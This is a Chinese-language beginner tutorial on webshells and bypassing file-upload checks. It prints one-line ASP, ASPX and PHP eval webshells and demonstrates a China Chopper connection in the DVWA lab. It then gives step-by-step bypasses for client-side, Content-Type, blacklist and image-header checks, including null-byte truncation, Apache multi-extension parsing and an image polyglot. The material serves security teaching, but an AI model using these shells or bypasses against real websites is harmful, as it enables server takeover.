木馬文件上傳防禦策略及幾種繞過檢測方式
這篇文章主要介紹了菜刀的基本使用方法,總結了一些對文件上傳的防禦策略和繞過文件上傳檢測的方法,新手入門向。
1.中國菜刀連接
1.1 WebShell
WebShell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也可以將其稱做為一種網頁後門。黑客在入侵了一個網站後,通常會將asp或php後門文件與網站伺服器WE目錄下正常的網頁文件混在一起,然後就可以使用瀏覽器或工具來訪問asp或者php後門,得到一個命令執行環境,以達到控制網站伺服器的目的。n
通常來說,上傳一句話木馬通過中國菜刀連接是比較簡便地拿到伺服器的方法。菜刀可以連接asp、aspx、php、jsp的一句話木馬。
1.2 一句話木馬
- asp:
<%eval request("pass")%>n
- aspx:
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>n
- php:
<?php @eval($_POST[pass]);?>n
其中,pass是這個木馬中的密碼的值,也可以替換為其他字元。
1.3 一句話木馬運作方式
首先,可以把這個一句話木馬插入到一個正常的網站文件中,asp的插入到asp文件里,php的插入到php文件里,其他同理。也可以把木馬單獨寫在一個文件里,比如新建一個php文件,整個php文件內容就只有這一句話。
插入的方法,一般來講是通過文件上傳功能,如作業上傳網站、圖片上傳網站,將木馬文件上傳到目標網站的伺服器中,再將文件存儲的鏈接添加到菜刀中,輸入木馬的密碼即可直接拿到伺服器的控制權。
1.4 簡單的例子
1.4.1 編寫php木馬
<?php @eval($_POST[xxt]);?> n
將該php文件命名為 【xxt.php】
1.4.2 降低DVWA安全標準
因為這裡主要是介紹菜刀的連接方式,為了簡便使用沒有防備的上傳點。
在DVWA漏洞訓練平台中,登陸後將DVWA的安全級別調整為low(見紅框內)。調整之後選擇 File Upload, 進入頁面。
1.4.3 上傳php木馬瀏覽文件,選擇【xxt.php】,點擊 Upload 上傳。
上傳成功,顯示了文件的保存路徑。前兩個省略號是指父級目錄,因此文件的絕對路徑為
http://127.0.0.1/dvwa-master/hackable/uploads/xxt.php
1.4.4 菜刀連接
打開菜刀,右鍵—> 添加—>輸入絕對路徑和密碼—>添加
最上方的就是我們剛添加的後門路徑,雙擊即可查看伺服器文件夾,並對其操作因為這個DVWA平台是在我的本地伺服器搭的,所以這裡的伺服器就是我自己的電腦啦2. 文件上傳防禦策略
2.1 常見防禦策略
在一般的網站中,是不可能直接讓你上傳木馬文件的,都要對上傳進行過濾。
通常會有文件類型限制、文件大小限制等過濾方式。文件類型限制最為常見,一般有前台文件擴展名檢測、伺服器端擴展名檢測、content-type 參數檢測或文件內容檢測。
2.2.1 前台腳本檢測擴展名
當用戶在客戶端選擇文件點擊上傳的時候,客戶端還沒有向伺服器發送任何消息,就對本地文件進行檢測來判斷是否是可以上傳的類型,這種方式稱為前台腳本檢測擴展名。繞過前台腳本檢測擴展名,就是將所要上傳文件的擴展名更改為符合腳本檢測規則的擴展名,通過BurpSuite工具,截取數據包,並將數據包中文件擴展名更改回原來的,達到繞過的目的。
2.2.2 Content-Type文件類型檢測
Content-Type,內容類型,是網頁請求中附帶的參數,用於定義網路文件的類型和網頁的編碼,決定文件接收方將以什麼形式、什麼編碼讀取這個文件,這就是經常看到一些Asp網頁點擊的結果卻是下載到的一個文件或一張圖片的原因。
ContentType 一般參數有
- application/x-cdf 應用型文件
- text/HTML 文本
- image/JPEG jpg 圖片
- image/GIF gif圖片
當瀏覽器在上傳文件到伺服器的時候,伺服器對說上傳文件的n Content-Type 類型進行檢測,如果是白名單允許的,則可以正常上傳,否則上傳失敗。繞過 Content—Type 文件類型檢測,就是用n BurpSuite 截取並修改數據包中文件的 Content-Type 類型,使其符合白名單的規則,達到上傳的目的。
2.2.3 伺服器端擴展名檢測
當瀏覽器將文件提交到伺服器端的時候,伺服器端會根據設定的黑白名單對瀏覽器提交上來的文件擴展名進行檢測,如果上傳的文件擴展名不符合黑白名單的限制,則不予上傳,否則上傳成功。
2.2.4 文件內容檢測
一般文件內容驗證使用getimagesize()函數檢測,會判斷文件是否是一個有效的文件圖片,如果是,則允許上傳,否則的話不允許上傳。所以經常要將一句話木馬插入到一個【合法】的圖片文件當中,然後用中國菜刀遠程連接。
3.繞過檢測上傳
3.1 利用00截斷上傳繞過前台檢測
比如某網站的上傳點採用了前端擴展名檢測,只允許上傳圖片文件,而我們要上傳一個php木馬,可以按照以下步驟
3.1.1 php木馬偽裝jpg文件
先編寫一個一句話木馬,命名為【lubr.php.jpg】,因為擴展名檢測是從文件名的右邊往左讀的,當讀到第一個【. 】的時候,便通過擴展名確定這個文件的類型。這裡就將 php 文件偽裝成了jpg 文件。
3.1.2 BurpSuite攔截改2e為00
開啟 BurpSuite 的【proxy】 功能,在選擇 【lubr.php.jpg】 文件後,點擊上傳。
這時上傳文件的數據包不會直接發往伺服器,而是要經由 Burp 來發送,我們在這裡可以查看和修改數據包的內容。
點擊hex查看十六進位源碼,如下圖
找到 lubr.php.jpg 對應的源碼,將 lubr.php 後的【.】 對應的【2e】改為【00】
【00】對應【空】 ,注意【空格Space】不等於【空】點擊 【forward】,即可成功上傳文件
3.1.3 菜刀連接
獲取php木馬的絕對路徑,略
3.2 截斷改擴展名繞過前台檢測
與00截斷類似,此方法也是通過截斷數據包做修改來實現的。
如果直接上傳php文件,會被攔截。
3.2.1 準備一句話木馬
先寫一個php一句話木馬,然後在這裡命名為 lubr.jpg,而不是php文件
3.2.2 BurpSuite攔截改擴展名
在BurpSuite中會抓到截取的數據包,在數據包中將所上傳的文件後綴名由【.jpg】改為【.php】
點擊【forward】,傳遞數據包,前台即可提示,上傳【lubr.php】成功略
3.3 繞過Content-Type檢測文件類型上傳
Content-Type如果為【application/octet-stream】,這一般是可運行程序(木馬)的類型,因此會拒絕上傳。但如果我們將其改為【image/gif】圖片類型,可能就能夠繞過該檢測。
3.3.2 BurpSuite攔截改Content-Type參數
在BurpSuite中會抓到截取的數據包,在數據包中將所上傳的文件的Content-Type由【application/octet-stream】改為【image/gif】
點擊【forward】,傳遞數據包,前台即可提示,上傳【lubr.php】成功略
3.4 apache解析漏洞上傳shell繞過伺服器端擴展名檢測
Apache 識別文件類型是從右向左識別的,如果如遇不認識的擴展名會向前一次識別,直到遇到能識別的擴展名,因為Apache認為一個文件可以擁有多個擴展名,哪怕沒有文件名,也可以擁有多個擴展名。這種漏洞存在於使用module模式與php結合的所有版本的Apache。
假如某網站剛好使用了有解析漏洞版本的Apache,而且其對伺服器端對【.php】文件直接上傳做了過濾。
3.4.1 一句話木馬
因為伺服器端對【.php】上傳做了過濾,因此無論怎麼用BurpSuite修改都不能上傳成功。
如果將該木馬命名為 【lubr.php.adc】,則顯示上傳成功。
因為伺服器端黑名單只限制了幾種擴展名的上傳,而其他擴展名都是合法的,不論這種擴展名是否有效,而apache卻能識別無效的擴展名並不予解析,這種不對稱的擴展名識別造成了上傳漏洞的產生。
3.4.2 菜刀連接
菜刀也不識別【.abc】,直接解析【.php】,連接成功。3.5 構造圖片馬繞過文件內容檢測
文件內容檢測腳本中getimagesize(string filename)函數會通過讀取文件頭,返回圖片的長、寬等信息,如果沒有相關的圖片文件頭,函數會報錯,是一種比較嚴的防禦措施。但並不代表其牢不可破。
雖然php內容不合法,但我們可以將其偽裝成一個圖片,以欺騙檢測腳本來進行非法上傳。
3.5.1 構造圖片馬
隨便找一個圖片,將其與要上傳的木馬置於同一文件夾下
打開cmd,進入該文件夾,輸入
copy doram.jpg/b+lubr.php/a xiaoma.jpgn
將【lubr.php】插入到【doram.jpg】中。其中【xiaoma.jpg】是插入後的文件。
用記事本打開【xiaoma.jpg】,發現木馬插入到了文件最後。
3.5.2 上傳木馬將文件名改為【xiaoma.jpg.php】,然後上傳成功,菜刀連接。
以上就是幾種檢測情況的繞過方法,真實情況下需各種方式配合使用。
推薦閱讀: